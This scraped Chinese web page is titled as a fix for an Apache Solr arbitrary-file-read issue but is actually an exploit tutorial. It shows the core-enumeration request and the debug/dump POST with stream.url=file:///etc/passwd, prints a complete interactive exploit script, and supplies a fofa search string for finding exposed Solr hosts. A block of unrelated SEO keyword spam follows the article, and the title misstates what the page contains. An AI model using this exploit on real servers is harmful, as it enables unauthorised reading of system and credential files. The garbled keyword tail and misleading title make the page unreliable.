千家信息网

Apache-Solr任意文件读取exp怎么解决

发表于:2025-01-19 作者:千家信息网编辑
千家信息网最后更新 2025年01月19日,本篇内容主要讲解"Apache-Solr任意文件读取exp怎么解决",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"Apache-Solr任意文件读取exp怎
千家信息网最后更新 2025年01月19日Apache-Solr任意文件读取exp怎么解决

本篇内容主要讲解"Apache-Solr任意文件读取exp怎么解决",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"Apache-Solr任意文件读取exp怎么解决"吧!

Apache-Solr任意文件读取exp

漏洞利用方式很简单,但是网上说的不是很完整。

首先我们需要访问:

/solr/admin/cores?indexInfo=false&wt=json

然后看相应数据:

{  "responseHeader":{    "status":0,    "QTime":0},  "initFailures":{},  "status":{    "ingredients":{      "name":"ingredients",      "instanceDir":"/var/solr/data/ingredients",      "dataDir":"/var/solr/data/ingredients/data/",      "config":"solrconfig.xml",      "schema":"schema.xml",      "startTime":"2021-03-18T11:41:26.398Z",      "uptime":211644}}}

差不多这个样子,ingredients就是我们需要的

构造路径:

"/solr/".ins."/debug/dump?param=ContentStreams&wt=json"

ins就是我们得到的实例对象的名称

他们说会返回xml格式的,网上的都是不带wt=json,但是我发现,dump接受这个参数,也会输出json格式

并且我们在上面获取ins的时候是可以判断服务器类型的

上面的话呢应该是:

/solr/ingredients/debug/dump?param=ContentStreams&wt=json

然后是个post数据包,路径有了,内容就是:

stream.url=file:///etc/passwd

然后也会得到一个json,这里就不带结果了

最后附上exp:

#define insqian = "name":"#define inshou = "#define contentqian = "stream":"#define contenthou = "}]function Getinstance(url){        res = HttpGetSafe(url."/solr/admin/cores?indexInfo=false&wt=json","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");        if(StrFindStr(res[0],"initFailures",0) == "-1"){                return "";        }        return GettextMiddle(res[0],insqian,inshou);}function GetFileContent(url,ins,FilePath){        res = HttpPostSafe(url."/solr/".ins."/debug/dump?param=ContentStreams&wt=json","stream.url=file://".FilePath,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");        con = GettextMiddle(res[0],contentqian,contenthou);        return StrReplace(con,"\\n",StrRN());        }function main(args){        print("请输入测试的站点:");        url = input();        ins = Getinstance(url);        if(ins == ""){                print("不存在漏洞");        }else{                print("可能存在漏洞,instanceName:".ins.",请输入要查看的文件名称:");                wb = input();                while(wb != "exit"){                        print(GetFileContent(url,ins,wb));                        wb = input();                }        }}

带一张效果图:

fofa搜索:

app="Apache-Solr"

到此,相信大家对"Apache-Solr任意文件读取exp怎么解决"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

文件 内容 就是 漏洞 名称 数据 格式 路径 学习 输入 实用 更深 差不多 兴趣 参数 实例 实用性 实际 对象 操作简单 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 网络安全靠人民 手抄报 软件开发的基础是什么意思 数据库安全警报 谷歌账号找不到服务器怎么办 电脑的许可服务器怎么找 网络安全素质教育一级含金量 江苏系统软件开发哪家正规 数据库排序和文件排序 局域网内访问服务器拒绝连接 幼儿网络安全图画 数据库程序设计安全性要求 金融行业网络安全法规制度 浪潮服务器风扇一直满速 民营医院网络安全自查情况报告 软件开发技术发展趋势分析 广州速优网络技术有限公司 mc服务器管理人员 怎么用网吧服务器玩游戏 数据库的物理逻辑结构 云数据库未来 贵州超级服务器虚拟主机 坐席助手无法注册到服务器 恩施好的软件开发企业 pxe服务器搭建 安卓硬件检测软件开发 银行流水数据如何导入数据库 大学生网络安全教育定义 软件开发企业出现招工难 九歌作诗器服务器错误 麒麟数据库实习生
0